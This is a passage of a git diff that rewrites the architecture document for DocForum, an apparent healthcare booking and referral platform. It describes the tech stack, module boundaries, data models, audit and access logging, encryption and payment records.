Tests: booking, referral, and order-issuance flows are correctness-critical (see ARCHITECTURE.md Β§7) β€” these need integration tests, not just unit tests, before being considered done. + +## For CLAUDE.md +`CLAUDE.md` in this repo defers to this file for substantive project rules and only adds Claude-specific operating notes (tool usage, file skills, etc.). Keep the two in sync β€” don't duplicate rules, reference them. diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 2eb6faed..4d684007 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -1,597 +1,597 @@ -# ARCHITECTURE.md β€” DocForum - -Status: Draft v0.1 -Last updated: 2026-09-09 - -> **Contribution rule:** Any PR that changes a data model, a service boundary, or the tech stack must update this file in the same PR, and reflect the essentials in `ARCHITECTURE_ESSENTIALS.md`. Also update `ROADMAP.md` status if the change closes/opens roadmap work. - -See `PRD.md` for product scope and `ARCHITECTURE_ESSENTIALS.md` for the quick-reference version. - ---- - -## 1. Guiding principles - -1. **Modular monolith first, not microservices.** One deployable backend, internally organized into bounded modules (auth, doctors, appointments, referrals, consultations, orders, facilities, notifications). Split into services only when a concrete scaling or team-ownership problem demands it β€” not preemptively (see PRD Β§8.3). -2. **Orders are append-only.** Prescriptions and lab orders are never mutated after issuance. Corrections create a new versioned record referencing the original. This is a hard architectural constraint, not a style preference (clinical/legal safety). -3. **The referral carries state, not a pointer to state.** A referral snapshots the intake + consultation notes it's built on, so later edits elsewhere can't silently rewrite what a specialist already saw. -4. **Boring tech, correct concurrency.** Availability booking is a correctness problem before it's a scaling problem β€” solve double-booking with real DB constraints/transactions, not application-level checks. -5. **Build vs. buy for anything not core IP.** Video/chat infra, SMS/email delivery, file storage β€” use managed providers behind an internal interface so they're swappable. - -## 2. Tech stack - -| Layer | Choice | Why | -|---|---|---| -| Backend language/runtime | Node.js (TypeScript) | Single language across stack, large ecosystem, easy hiring. | -| Backend framework | Express 5 β€” **decided 2026-09-14**, resolving the "(or Fastify)" either/or | Minimal, unopinionated, matches "modular monolith" β€” avoid a heavy framework that fights the module boundaries. Express 5's native async-handler error forwarding (rejected promises reach the error middleware without a manual wrapper) was a real factor, not just familiarity. | -| Request validation | Zod | Not originally listed here β€” added alongside Phase 1's real request bodies. Schemas live per-module (`modules/*/validation.ts`), thrown `ZodError`s are caught centrally by `middleware/error-handler.ts`. | -| Password hashing | bcryptjs | Pure-JS, not a native bcrypt binding β€” one less native build dependency for a repo with no other native deps yet. | -| Database | PostgreSQL | Relational integrity is critical (bookings, orders, referrals all have strict FK/state constraints); JSONB available for the flexible parts (intake payload). | -| ORM / schema | Prisma 7, with the `@prisma/adapter-pg` (node-postgres) driver adapter β€” **upgraded 2026-10-16 to clear a high-severity advisory; see `docs/adr/0006`** | Schema-as-code, migrations, keeps `backend/prisma/schema.prisma` as the single source of truth for data models (mirrors Β§4 below). Two v7 facts that constrain where code goes: (a) there is no Rust query engine any more, so the client must be constructed with a driver adapter (`src/db/prisma-client.ts`) β€” bare `new PrismaClient()` throws; (b) the CLI's datasource URL lives in `backend/prisma.config.ts`, not in the schema's `datasource` block. The `prisma-client-js` generator is retained deliberately, so the client still generates into `node_modules/@prisma/client` and this backend stays CommonJS (see Β§3 note on `@docforum/escrow-sdk` being ESM-only). Requires Node >= 20.19. | -| Auth | JWT access + refresh tokens, role claims (`patient` \| `doctor` \| `facility` \| `admin`) | Simple, stateless for API scaling; refresh rotation for security. | -| Frontend | React + TypeScript, Vite | Fast dev loop, standard choice, no framework lock-in beyond React. | -| Frontend state/data | React Query (server state) + lightweight store (Zustand) for client-only UI state | Avoids over-centralizing server data into a global store. | -| Realtime (messaging/notifications) | WebSocket gateway (or managed pub/sub, e.g. Pusher/Ably) behind an internal `notifications` interface | Swappable; not custom infra from day one. | -| Video/voice (if/when needed) | Third-party embed (Twilio/Daily/Agora) behind an interface, not built in-house | PRD Β§8.3.1 β€” explicitly flagged as overengineering risk if built custom. | -| File/result storage | Object storage (S3-compatible) for lab result attachments | Never store clinical files directly in Postgres rows. | -| Email / SMS delivery | **Postmark** (transactional email) and **Twilio** (SMS), both behind the provider-agnostic `notifications` dispatch interface and the `email-dispatcher.ts` seam. Decided per `docs/adr/` (Phase 6, issue #17). | Transactional-only providers with no marketing-list coupling; swappable because business logic only ever calls the internal `Notification` dispatch interface, never a provider SDK. | -| Field-level encryption | AES-256-GCM envelope encryption (`backend/src/utils/field-encryption.ts`, Phase 8 issue #46) for clinical free text (`Consultation.notes`, `Referral.snapshotNotes`) | Limits blast radius of a leaked DB dump / over-broad read replica β€” encryption at rest doesn't protect against those. Versioned key-id prefix enables rotation without rewriting every row. **Constraint: encrypted fields cannot be searched or indexed** β€” they're write-once/read-decrypt blobs. | -| Background jobs | Simple queue (BullMQ on Redis) for reminders, order-expiry checks, notification delivery | Needed for FR-15/16 and the "orphaned order" hard question (PRD Β§8.1.3). | -| Infra | Docker Compose for local dev; containerized deploy target TBD (not decided β€” see Open Questions in ROADMAP) | Keep infra decisions deferred until a real deploy target is chosen; don't overbuild CI/CD for a repo with no code yet. | - -## 3. Module boundaries (backend) - -Each module under `backend/src/modules//` owns its own `routes/`, `controllers/`, `services/`, `repositories/`. Cross-module access happens through a module's exported service interface only β€” **never reach into another module's repository directly.** This is the internal seam that would let us extract a module into its own service later without a rewrite. - -- `auth` β€” signup/login, tokens, role checks. -- `users` β€” shared user profile fields common to all roles, plus the admin account lifecycle (invites, soft deactivation β€” issue #39). `auth` calls this module's services to create an invited admin; `users` never calls back into `auth`. -- `patients` β€” patient-specific profile data. -- `doctors` β€” doctor profile, specialties, verification status. -- `facilities` β€” lab/pharmacy accounts, capability tags (what order types they can fulfill). -- `availability` β€” slot generation and holds (the module responsible for preventing double-booking). -- `appointments` β€” booking lifecycle, links patient + doctor + slot + intake. -- `consultations` β€” the record of what happened in a booked appointment (notes, outcome). Minimal slice is real (create against one's own completed appointment, read for that doctor + the patient, spawn referrals); sign-off/addenda stay issue #4. -- `referrals` β€” referral creation, lifecycle, snapshot of context, loop flags, the appointment-status cascade, and the admin queue/override operations. This is the most cross-wired module: it creates appointments through `appointments`' service, and `appointments` calls back into `referrals`' service (`applyAppointmentOutcome`) from inside its status-transition transaction. That mutual service-to-service import is deliberate and runtime-safe under ESM live bindings (every cross-call happens in an async function, after both modules have loaded) β€” the alternative, either module reaching into the other's repository, is what hard rule 4 exists to prevent. -- `prescriptions` β€” prescription issuance and versioning. -- `lab-orders` β€” lab order issuance and versioning. -- `pharmacy-orders` β€” facility fulfillment for pharmacy orders (reference number required, optional attachment via `StorageProvider`, audit event logged). -- `orders` β€” patient order confirmation and dispute handling (`POST /orders/:id/confirm-receipt`, `POST /orders/:id/dispute`), derived `confirmedSignal` calculation, unconfirmed order expiry job, and admin dispute queue (`GET /admin/orders/disputes`, `POST /admin/orders/disputes/:id/resolve`). -- `notifications` β€” outbound notification dispatch, provider-agnostic. -- `payments` β€” `PaymentIntent`, the facility payee `WalletLink`, and the patient payer `PatientWalletLink` (Β§4.13). Relational metadata only; every Stellar call goes through `@docforum/escrow-sdk` via `services/escrow-sdk-loader.ts`. Assets are allowlisted per environment (issue #79), and the prepare half of ADR 0005 (issue #80) builds the unsigned patient transaction without moving funds. -- `audit` β€” the append-only `AuditEvent` trail (Phase 8, issue #43). Owns one write helper, `auditService.record(tx, actor, event)`, that every module calls **inside the transaction of the state change it describes** (it refuses the root client), and the admin-only `GET /admin/audit-events`. Controllers build the actor with `auditActor(req)` (`src/middleware/request-id.ts`: user id, role, `X-Request-Id`). Wired today: appointment booking (both the direct and the referral-origin path), consultation closing (Phase 2, issue #4), doctor verification, payment fund/release/refund, the patient's referral accept/decline, and the referral admin actions (Phase 3, issue #68 β€” `referral.reassign` / `referral.cancel`, recorded as `entityType: 'Referral'` rows; there is no second, referral-specific audit table). **Phase 4 transitions (fulfillment) must call `record()` in the same transaction when they're built** β€” prescriptions and lab orders already do. Also owns the PHI read-access log (Phase 8, issue #45, Β§4.11): `auditService.recordAccess()` (fire-and-forget off the read path, fail-open but counted), admin `GET /admin/access-logs` (+ `/user`, `/stats`) and the patient-facing `GET /patients/me/access-log`, whose response strips all viewer PII to a role. - -### 3.1 Patient data export registry (Phase 8, issue #40) - -Right of access (`POST /patients/me/export`) is coordinated by `patients`, -but **each module contributes its own section through its own `services/` -interface** β€” `patients` never reads another module's tables to build an -export. The pieces: - -- `modules/patients/services/export-registry.ts` β€” the `PatientExportSection` - contract (`name`, `version`, `pages(subject, pageSize)` yielding pages of - plain JSON items), `registerExportSection`, and a `paginate` keyset helper. -- `src/export-sections.ts` β€” the one explicit list of registered sections, - called from `createApp()`. It's wiring, outside `modules/`, so `patients` - doesn't have to import every module that already imports `patients`. -- Current sections: `account` (auth: email/phone/role, never the password - hash), `profile` (patients), `appointments` (appointments, with slot times - from `availability` and the doctor's name from `doctors`, both via their - services), `payments` (version 2: amount in the asset's smallest unit, - asset code, status, on-chain tx hash / escrow id / contract id; the - platform's signing secrets never live in a row and can't reach an export). - -**Adding a module with patient data (referrals, prescriptions, lab orders, -…):** export a `PatientExportSection` from that module's `services/` and add -it to `src/export-sections.ts`. Rules for a section: an explicit field -allowlist (never spread a Prisma row β€” a column added later must not leak by -default); page through your own tables with `paginate` (at most `pageSize` -rows in memory); batch any cross-module lookups per page through the other -module's service; JSON-safe values only (BigInt β†’ string). Bump `version` -when the item shape changes. A section that throws fails the whole export β€” -there is no "partial" bundle. - -Generation runs in `src/jobs/patient-exports.ts` (plain intervals, woken -immediately by a new request). Sections run one at a time and the bundle is -flushed in bounded chunks to `PatientExportChunk` (Β§4.11), so memory is -bounded by one page of rows plus one chunk regardless of history length. - -### 3.1 Account deletion and retention holds (Phase 8, issue #41) - -`DELETE /patients/me` is orchestrated by `patients` and anonymises in one -transaction: the `User` row through `auth`'s service (`anonymizeAccount`, -which takes the caller's transaction client) and the `PatientProfile` -through `patients`' own repository. Nothing is cascaded; see -`docs/adr/0010` for the per-model retention table. - -The scheduled purge (`src/jobs/account-purge.ts`) may only hard-delete a -*tombstone*: an anonymised patient that no module still holds records for. -"Holds records" is answered by each owning module through its own service, -registered in `src/retention-holds.ts` (wiring, outside `modules/`, because -`patients` can't import modules that already import it). The RESTRICT -foreign keys are the backstop. **A new module with patient-linked records -must do both:** reference `PatientProfile` with `onDelete: Restrict`, and add -a hold. - -## 4. Data models - -Canonical source of truth: `backend/prisma/schema.prisma`. This section is the human-readable mirror β€” if they drift, the schema file wins and this doc should be corrected in the same PR. - -**Phase 1 models are real** (User, PatientProfile, DoctorProfile, Specialty, DoctorSpecialty, FacilityProfile, FacilityCapability, AvailabilitySlot, Appointment) β€” migrated via `backend/prisma/migrations/20260914110638_init/`. **Phase 3 added the real `Referral` and the `Consultation`↔appointment link** β€” migrated via `backend/prisma/migrations/20261016214929_referral_phase3/`; Β§4.3 and Β§4.4 describe what actually shipped, not a sketch. The audit trail (`AuditEvent`, Β§4.10) is the Phase 8 one (issue #43, `20261017212335_add_audit_event`) β€” the referral admin actions live in it rather than in a second table. Everything else below (Β§4.5 onward) is still the Phase 0 structural placeholder. - -Three intentional deviations from the original sketches, all flagged in the schema file itself: `Appointment.intakeId` is deferred (nullable-by-omission, not yet a column) since `IntakeForm` doesn't exist until Phase 2; `PatientProfile.guardianUserId` was a plain string with no FK relation while the minor/dependent consent model (PRD Β§8.2.5) was open β€” **replaced in Phase 8 (issue #42, `docs/adr/0011`)** by the `Guardianship` relation (Β§4.1); and `Referral.snapshotIntakeId` likewise has no column yet (there is no `IntakeForm` to snapshot) β€” the intake half of the snapshot rule cannot be violated while there is no intake data at all, and the column must be added (as a copy) when issue #1 lands. - -### 4.1 User / Role model -``` -User - id, email, phone, password_hash, role (enum: patient|doctor|facility|admin) - email_verified_at (nullable β€” Phase 8 issue #34; null = unverified. - Backfilled to created_at for pre-existing rows in the - add_email_verification migration, so accounts from before this phase - are treated as verified) - locale (string, default `en` β€” Phase 9 issue #133; selected from - Accept-Language at signup, unsupported tags fall back to `en`) - locale (string, default `en` β€” Phase 9 issue #133; supported language - selected from Accept-Language at signup, unsupported tags fall back to `en`) - deleted_at (nullable β€” Phase 8 issue #41, docs/adr/0010; set once, - irreversibly, when the account is deleted. The row is anonymised in - place: email -> deleted+@deleted.invalid, phone null, password - unusable, email_verified_at null. Login and refresh refuse it.) - created_at, updated_at - -EmailVerificationToken (Phase 8 issue #34) - id, user_id (FK -> User), token_hash (unique, SHA-256 β€” raw token never stored) - expires_at, consumed_at (nullable), created_at - # Append-only-ish: issuing a new token marks any outstanding one consumed - ("latest link wins") rather than deleting it. Redemption is a conditional - UPDATE (consumed_at IS NULL), same single-use shape as Β§5.1's booking - guarantee, so two concurrent redemptions can't both win. - -PatientProfile (1:1 User, or 0:1 for a dependent) - id, user_id (nullable since issue #42 β€” null = a guardian-owned dependent - with no login; still unique. FK -> User, ON DELETE RESTRICT since issue - #41 β€” was CASCADE), full_name, date_of_birth - anonymized_at (nullable β€” issue #41; set with full_name -> 'Deleted patient', - date_of_birth -> null. The row stays so Appointment and - PaymentIntent keep their FK; both of those reference it ON DELETE RESTRICT.) - # CHECK (user_id IS NOT NULL OR date_of_birth IS NOT NULL): a dependent - always has a DOB, because guardian access ends at the age of majority. - # guardian_user_id (unenforced string) was dropped in issue #42; the - migration refuses to run if any row still had a value. - -Guardianship (Phase 8, issue #42 β€” docs/adr/0011) - id, guardian_user_id (FK -> User, RESTRICT), dependent_profile_id (FK -> PatientProfile, RESTRICT) - created_at, revoked_at (nullable) - # unique (guardian_user_id, dependent_profile_id) β€” no duplicate pairs. - # Created only together with a new dependent profile (POST - /patients/me/dependents); there is no way to link an existing profile. - # Active = revoked_at IS NULL AND the dependent is under - AGE_OF_MAJORITY_YEARS (UTC calendar date, checked at request time). - Never deleted β€” ending access sets revoked_at, or happens by age. - # All dependent-scoped access goes through - patients/services resolveActingProfile (booking, appointment listing). - -DoctorProfile (1:1 User) - id, user_id, full_name, verification_status (enum: pending|verified|rejected) - specialties: DoctorSpecialty[] - -Specialty (controlled vocabulary, admin-managed) - id, name, slug - -DoctorSpecialty (join table) - id, doctor_profile_id, specialty_id - -FacilityProfile (1:1 User) - id, user_id, name, type (enum: lab|pharmacy), capabilities: FacilityCapability[] - -FacilityCapability - id, facility_profile_id, capability_type (enum: lab_test|medication_dispense), detail (e.g. test category) -``` - -### 4.2 Availability & Appointments -``` -AvailabilitySlot - id, doctor_profile_id, start_time, end_time, status (enum: open|held|booked) - # Uniqueness/exclusion constraint at DB level on (doctor_profile_id, start_time, end_time) - # to make double-booking a constraint violation, not an app-logic bug. - -Appointment - id, patient_profile_id, doctor_profile_id, availability_slot_id (FK, unique, NULLABLE) - intake_id (FK -> IntakeForm β€” still not a column, Phase 2 issue #1/#2) - status (enum: scheduled|completed|cancelled|no_show) - origin (enum: direct_booking|referral), referral_id (nullable FK -> Referral) - created_at, updated_at - # availability_slot_id is nullable (Phase 3): a cancelled appointment - # releases its slot back to `open` and drops the unique link, so the - # freed slot can be re-booked. The booking guarantee itself is - # unchanged β€” it lives in claimOpenSlot's conditional UPDATE, not in - # this column. History rows keep their referral_id, so the lineage of a - # referral that produced several appointments survives the link being - # cleared (Referral.appointments holds the full list). - -IntakeForm - id, patient_profile_id, symptoms (structured: array of {symptom, duration, severity}), free_text_notes - created_at -``` - -### 4.3 Consultation -``` -Consultation - id, appointment_id (FK, unique β€” one consultation per appointment; - a re-visit is a new appointment, not a second row) - notes [ENCRYPTED β€” Phase 8 issue #46, see Β§2 field-level encryption row] - outcome (enum: resolved|referred|follow_up_needed, nullable in the schema β€” - the close routes require it, so a closed record has one; see below) - created_at, updated_at - referrals: Referral[] # children β€” the lineage loop detection walks -``` -**Implemented 2026-10-20 (Phase 2, issue #4):** `appointment_id UNIQUE` is what makes a consultation closable **once** β€” a second concurrent close loses at the INSERT, not at an app-level check (see docs/adr/0009). There is no amendment/edit path in v1. `notes` is encrypted on write via `encryptField()` (requires `FIELD_ENCRYPTION_KEY_V1`), so the first writer to a clinical free-text column honours the rule below rather than starting a plaintext precedent; reads decrypt in the consultations service. - -The row has exactly one writer β€” `consultationsService.createConsultation` β€” reachable from three addresses so that no path can bypass the uniqueness, encryption or audit rules: `POST /consultations` (appointment in the body; Phase 3's referral slice, `outcome` optional so a record can exist before sign-off), `POST /appointments/:id/consultation` (Phase 2's close route, `outcome` + `notes` required), and the orders flow's consultation step (which adds its own verified-doctor gate and then delegates). All of them require the appointment to be `completed` and to belong to the calling doctor, and all of them write the same `consultation.closed` audit event in the same transaction. - -**Encryption note:** `notes` is stored as an AES-256-GCM envelope (`v1:::`) via `backend/src/utils/field-encryption.ts`. Because it's encrypted, it **cannot be searched or indexed** β€” any future full-text search over consultation notes must decrypt in the application layer or use a separate searchable index, not a Postgres index on this column. Key rotation: `backend/scripts/rotate-field-keys.mjs` re-encrypts in batches. - -Readable (`GET /consultations/:id`) only by the treating doctor and the -patient of the underlying appointment; anyone else gets `403`, and the -stored ciphertext never leaves the module. What is still open is issue -#4's fuller workflow β€” sign-off, addenda, a doctor editing notes after the -fact β€” which is exactly why the referral snapshot (Β§4.4) exists rather -than referrals reading this row live. - -### 4.4 Referral -``` -Referral - id - patient_profile_id (FK -> PatientProfile) - source_consultation_id (FK -> Consultation, required) - referring_doctor_id, target_doctor_id (both FK -> DoctorProfile, required) - target_specialty_id (nullable FK -> Specialty β€” denormalised label, used - by the loop guard and admin views; not issue #23's specialty management) - snapshot_notes [ENCRYPTED β€” Phase 8 issue #46] (text copy of the referring consultation notes at time of referral β€” immutable) - parent_referral_id (nullable self-FK β€” the referral whose appointment - produced the consultation this referral came from; this is the chain - loop detection walks) - status (enum: pending|accepted|declined|completed|expired|cancelled) - no_show_count (Int, default 0), referring_doctor_notified_at (nullable) - loop_flagged_at (nullable), loop_flag_reason (nullable text) - cancelled_reason (nullable text) - resulting_appointment_id (nullable FK -> Appointment, unique β€” the - appointment this referral *currently* produced) - created_at, updated_at - indexes: patient_profile_id, referring_doctor_id, target_doctor_id, - status, loop_flagged_at -``` -Design note: `snapshot_notes` deliberately duplicates `Consultation.notes` -rather than pointing live at it, so a later edit to the original -consultation can never silently change what the specialist already acted -on (PRD hard question 8.1.4). `snapshotIntakeId` from the original design -has no column yet β€” see the Β§4 intro note. - -The other six fields are all Phase 3 issue work: `parentReferralId` + -`loop_flagged_*` are loop detection (#65), `no_show_count` + -`referring_doctor_notified_at` are the no-show cascade (#67), -`cancelled_reason` is admin override (#68). `target_doctor_id` being -**required** is now backed by a real routing rule rather than a scope -cut (issue #6, `docs/adr/0008-referral-routing-without-target-doctor.md`): -a specialty-only referral is resolved to the least-loaded eligible -doctor *at creation*, so the resolved id is always what this column -holds and nothing is ever created unassigned. - -Status transitions that exist today: -`pending β†’ accepted` (patient accept, conditional UPDATE β€” the same -concurrency shape as `claimOpenSlot`), `pending β†’ declined` (patient), -`accepted β†’ completed` (referral-origin appointment completed), -`accepted β†’ pending` (appointment cancelled or first no-show β€” bookable -again, same snapshot, no re-intake), `accepted β†’ expired` (second -no-show, threshold `NO_SHOW_EXPIRY_THRESHOLD = 2`), and -`pending|accepted β†’ cancelled` (admin, audited β€” `AuditEvent`, Β§4.10). - -``` -pending ──accept──▢ accepted ──appointment completed──▢ completed - β”‚ β”‚ - β”‚ β”œβ”€appointment cancelled──▢ pending (slot released; same snapshot) - β”‚ β”œβ”€no-show #1─────────────▢ pending (no_show_count = 1) - β”‚ β”œβ”€no-show #2 (=threshold)─▢ expired (referring_doctor_notified_at set) - β”‚ └─admin cancel────────────▢ cancelled (reason; audited; live appt closed) - β”œβ”€decline──────────▢ declined - └─admin cancel──────▢ cancelled -``` -Every arrow into `pending`/`completed`/`expired` from `accepted` is a -conditional UPDATE that only matches a referral still `accepted` *and -still pointing at the appointment that triggered it*, so a doubled hook -is a no-op (issue #67, integration-tested). - -### 4.5 Prescriptions (versioned, append-only) -``` -Prescription - id, consultation_id (FK), patient_profile_id (FK), prescribing_doctor_id (FK) - facility_profile_id (FK to pharmacy), amount_stroops (clinician-entered XLM total) - supersedes_prescription_id (nullable, unique self-FK), created_at - # Corrections create a child row and never update the issued row. - -PrescriptionItem - id, prescription_id (FK), drug_name, dosage, frequency, duration -``` - -### 4.6 Lab orders (versioned, append-only) -``` -LabOrder - id, consultation_id (FK), patient_profile_id (FK), ordering_doctor_id (FK) - facility_profile_id (FK to lab), amount_stroops (clinician-entered XLM total) - test_type, urgency (enum: routine|urgent), notes [ENCRYPTED] - supersedes_lab_order_id (nullable, unique self-FK), created_at - -LabResult - id, lab_order_id (FK, unique), fulfilling_facility_id (FK), result_file_url, summary - created_at -``` -The facility and total are captured at issuance. The issuing clinician supplies -`amount_stroops` in native XLM stroops because v1 has no facility catalog or -pricing service. Corrections create a new immutable row. A `created` payment -intent moves to the correction; an already escrowed intent remains linked to -the original and is refunded through the existing admin refund action. - -### 4.7 Fulfillment (facility-side) -``` -FulfillmentRecord - id, prescription_id (FK, nullable, unique), lab_order_id (FK, nullable, unique) - facility_id (FK), status (enum: pending|in_progress|fulfilled|rejected) - created_at, updated_at - # Exactly one of the two order FKs is set β€” enforced by a PostgreSQL CHECK, - not an application guard. One row per order, enforced by the unique on - each FK column (Postgres keeps NULLs, so each is at most one non-null). - # All three FKs are RESTRICT: deleting an order or a facility account cannot - erase the fulfillment trail (docs/adr/0010's retention rule). - # Replaces the Phase 0 polymorphic (order_type, order_id) pair. - Decision + reasoning: docs/adr/0012 (issue #13). -``` -Design note: kept separate from `Prescription`/`LabOrder` so a facility's operational status doesn't need write access to the clinical order record itself β€” it only writes to its own fulfillment row. Reduces blast radius of a compromised/misbehaving facility account. - -One table rather than a `PrescriptionFulfillment`/`LabOrderFulfillment` pair: the Β§5.3 step-5 transition ("`fulfilled` only via the facility-confirmed path") then exists in exactly one implementation instead of two that can drift, and the facility's assigned-orders queue is one indexed query (`WHERE facility_id = ? AND status IN (…)`) instead of a cross-table union. The lab-specific payload was never on this row anyway β€” it lives in `LabResult` (Β§4.6). - -### 4.8 Notifications -``` -Notification - id, user_id, type, payload (jsonb), read_at (nullable), created_at -``` - -### 4.9 Auth hardening state (Phase 8) -``` -LoginAttempt (issue #35) - id, scope ('email' | 'ip'), key, failed_count, window_start, last_failed_at - lock_until (nullable), created_at, updated_at - # unique (scope, key). One bucket per normalised email and per client IP. - # Deliberately in Postgres, not process memory: the deployment is a single - # instance today but must not be designed as one forever, and a restart - # must not hand an attacker a fresh budget. - # Counters move only via a single conditional upsert (INSERT ... ON - # CONFLICT DO UPDATE) β€” never read-then-write β€” so N concurrent bad logins - # are counted as N (integration-tested). - # The lock is set once per window; hammering a locked account grows the - # count but never extends the deadline, so a lock is a bounded wait. -``` -`User` fields added in Phase 8 live in Β§4.1; the `email_verified_at` / -`EmailVerificationToken` pair (issue #34) is in Β§4.1 as well. - -### 4.10 Audit trail (Phase 8, issue #43) -``` -AuditEvent - id, actor_user_id (nullable β€” null = system), actor_role (nullable Role) - entity_type ('Appointment' | 'DoctorProfile' | 'PaymentIntent' | 'Consultation' | 'Prescription' | 'LabOrder' | 'Referral'), entity_id - action (dotted, e.g. 'appointment.booked'), from_state, to_state (nullable) - request_id (X-Request-Id of the causing request), metadata (jsonb, nullable) - created_at - # APPEND-ONLY: no update/delete path in code, and BEFORE UPDATE/DELETE - (row) + BEFORE TRUNCATE (statement) triggers reject mutation in the - database. A future retention policy must drop/recreate them in its own - reviewed migration. - # No foreign keys on purpose: an ON DELETE action would have to rewrite - audit rows (forbidden), and RESTRICT would let the trail block account - lifecycle (e.g. issue #41's purge). Ids are recorded as facts. - # Written only by audit.record() inside the transaction of the change it - describes β€” the event exists iff the change committed. - # metadata: <= 16 flat scalar keys, strings <= 200 chars; keys that look - like personal/secret data (name, email, phone, dob, notes, intake, - password, secret, token, key, body, payload, …) are refused. Never PHI. - # created_at is stamped by Prisma on the app server per row (ms - precision); same-millisecond rows are ordered by id. - # indexes: (entity_type, entity_id, created_at), (actor_user_id, - created_at), (created_at, id) β€” the last backs the admin cursor. -``` -There is **one** audit trail in this schema. Phase 3's referral admin -actions (#68) do not get their own table β€” they are `entity_type = -'Referral'` rows in this one, written through the audit module's -`record()` in the same transaction as the referral change, so the trigger -that makes the trail append-only covers them too. - -Transitions recorded (action: from β†’ to): -- `appointment.booked`: `null β†’ scheduled` (metadata: slot id, doctor profile id, origin). Written by the appointments module for **both** booking paths β€” a direct booking and a referral-origin booking (the accept path), which is what the `origin` metadata distinguishes; there is no way to create an appointment that leaves no trail. -- `consultation.closed`: `null β†’ outcome` (metadata: appointment id; never the notes β€” that's PHI). Written by the consultations module for every consultation write, whichever route addressed it (`POST /consultations`, `POST /appointments/:id/consultation`, or the orders flow). -- `doctor.verification_status_changed`: previous β†’ new verification status (read under `FOR UPDATE`; a no-op set records nothing) -- `payment_intent.funded` `created β†’ escrowed`, `payment_intent.released` `escrowed β†’ released`, `payment_intent.refunded` `escrowed β†’ refunded` (metadata: order type, amount, asset code, escrow id, tx hash, contract id β€” public on-chain references only). The status write is now conditional on the observed state, so a racing second action gets `409` and records nothing. -- `payment_intent.prepared` `created β†’ awaiting_signature`, `payment_intent.prepare_expired` `awaiting_signature β†’ created` (issue #80). Actor is the patient for prepare and the system for expiry; metadata adds the prepared transaction hash. -- `referral.accepted`: `pending β†’ accepted` (metadata: the appointment id the accept booked). Written by the referrals module in the same transaction as the accept, so the patient's decision and the appointment it produced are both recorded or neither is. -- `referral.declined`: `pending β†’ declined`. -- `referral.reassign`: `null β†’ null` β€” the referral is retargeted, not - state-moved, so the transition is carried in the metadata (from/to - doctor profile ids + the admin's reason, ≀ 200 chars) rather than in - from_state/to_state. -- `referral.cancel`: previous status β†’ `cancelled` (metadata: the admin's - reason). The live appointment of an accepted referral is closed in the - same transaction (through the appointments service). - -Not yet recorded (open gap, not silently dropped): a referral's -*creation* (`null β†’ pending`), and the two transitions the appointment -cascade drives β€” `accepted β†’ completed` and `accepted β†’ expired` (the -no-show path) β€” because the cascade fires from inside the appointment's -status transaction, which has no actor of its own to attribute. The -referral-creation and cascade rows are owed when Phase 4/6 wire the -remaining state changes; until then the trail shows the referral's -history only from acceptance onwards. - -### 4.11 Patient data export (Phase 8, issue #40) -``` -PatientExport - id, patient_profile_id (FK -> PatientProfile, cascade β€” a derived copy) - status (enum: pending|processing|ready|failed|expired) - schema_version (nullable int β€” bundle format written), attempt (int, fencing token) - started_at, generated_at, expires_at (nullable) - size_bytes, chunk_count (nullable β€” set on ready) - failure_code, failed_section (nullable β€” machine-readable only, never an error message) - created_at, updated_at - # Every transition is a conditional UPDATE on the expected status (and - attempt), so two workers can't both generate one job and a stale claim - can't publish over a newer one. One in-flight job per patient (request - locks the PatientProfile row FOR UPDATE). - # The row is kept after expiry (no patient data in it) so status reads - answer "expired" rather than 404. - -PatientExportChunk - export_id (FK -> PatientExport, cascade), attempt, seq β€” composite PK - data (text β€” one slice of the JSON bundle, ~PATIENT_EXPORT_CHUNK_BYTES) - # Only chunks of the export's current attempt are ever served; the cleanup - job deletes other attempts' and expired/failed exports' chunks. -``` -Bundle format (schemaVersion 1): `{ format: "docforum.patient-export", -schemaVersion, exportId, generatedAt, sections: { : { version, items } } }` -β€” see Β§3.1 for where sections come from. - -### 4.12 Escrow chain event observations (issue #86) - -EscrowEventCursor has one row per deployed escrow contract and persists the Soroban RPC pagination cursor and retention error. EscrowChainEvent is uniquely keyed by (contractId, eventId) and records the contract event, ledger, transaction hash, escrow id, match state, and alert timestamp. These are observations, not a source of payment state: matching checks the locally owned PaymentIntent; the poller never mutates a payment transition. -### 4.11 PHI read-access log (Phase 8, issue #45) -``` -AccessLog - id, accessed_by (nullable FK β†’ User, SET NULL on delete β€” the row keeps - its timestamp and entity while the PII pointer is removed) - patient_profile_id (nullable FK β†’ PatientProfile, CASCADE β€” the record - owner, whose data was viewed; used by the patient-facing query) - entity_type ('IntakeForm' | 'Consultation' | 'Prescription' | - 'PrescriptionItem' | 'LabOrder' | 'LabResult' | 'Referral' | - 'PaymentIntent' | 'PatientProfile' | 'Appointment'), entity_id - route (nullable β€” the HTTP route that returned the payload), - detail (nullable β€” context string, never PHI) - accessed_at (default now) - # indexes: (accessed_at), (accessed_by), (patient_profile_id, - accessed_at), (entity_type, entity_id). -``` -Answers "who looked at this" β€” distinct from `AuditEvent`'s "who changed -this" (Β§4.10). Reads are far higher volume than state changes, so: -- writes go through `auditService.recordAccess()`, which is - **fire-and-forget** (never awaited on the read path β€” a unit test pins - sub-50ms return with a hanging insert) and **fail-open** (a logging - failure never fails the read, but is counted and surfaced via - `GET /admin/access-logs/stats` for alerting); -- rows are **retention-managed**, not append-only: `pruneOldAccessLogs()` - (wired into the prune interval in `src/server.ts`) deletes rows older - than `ACCESS_LOG_RETENTION_DAYS` (default 365). That delete is the only - one in the audit repositories and is bounded to the retention cutoff. -Patient-facing query (`GET /patients/me/access-log`) is scoped server-side -to the caller's own profile (resolved from the authenticated user, never -from the request) and strips all viewer PII to a role β€” a deleted viewer -surfaces as `deleted_user`. - -### 4.13 Payments (Phase 5.5 β€” ADR 0004 custodial v1, ADR 0005 non-custodial) -``` -PaymentIntent - id, prescription_id / lab_order_id (exactly one typed FK β€” issue #85) - status (enum: created|awaiting_signature|submitting|escrowed|released|refunded|failed) - patient_profile_id (FK, RESTRICT), facility_id (FK) - amount (bigint β€” smallest unit of asset_code; never scaled in this repo) - asset_code, token_contract_id (SAC address; token_contract_id is nullable - only for pre-#79 rows, which resolve ESCROW_TOKEN_ID as native XLM) - escrow_id, stellar_tx_hash, soroban_contract_id (nullable β€” set on fund) - prepared_tx_hash, prepared_xdr, prepared_expiry_ledger, prepared_expires_at, - refund_after (nullable β€” live only in awaiting_signature; cleared on expiry) - created_at, updated_at - # Every status write is 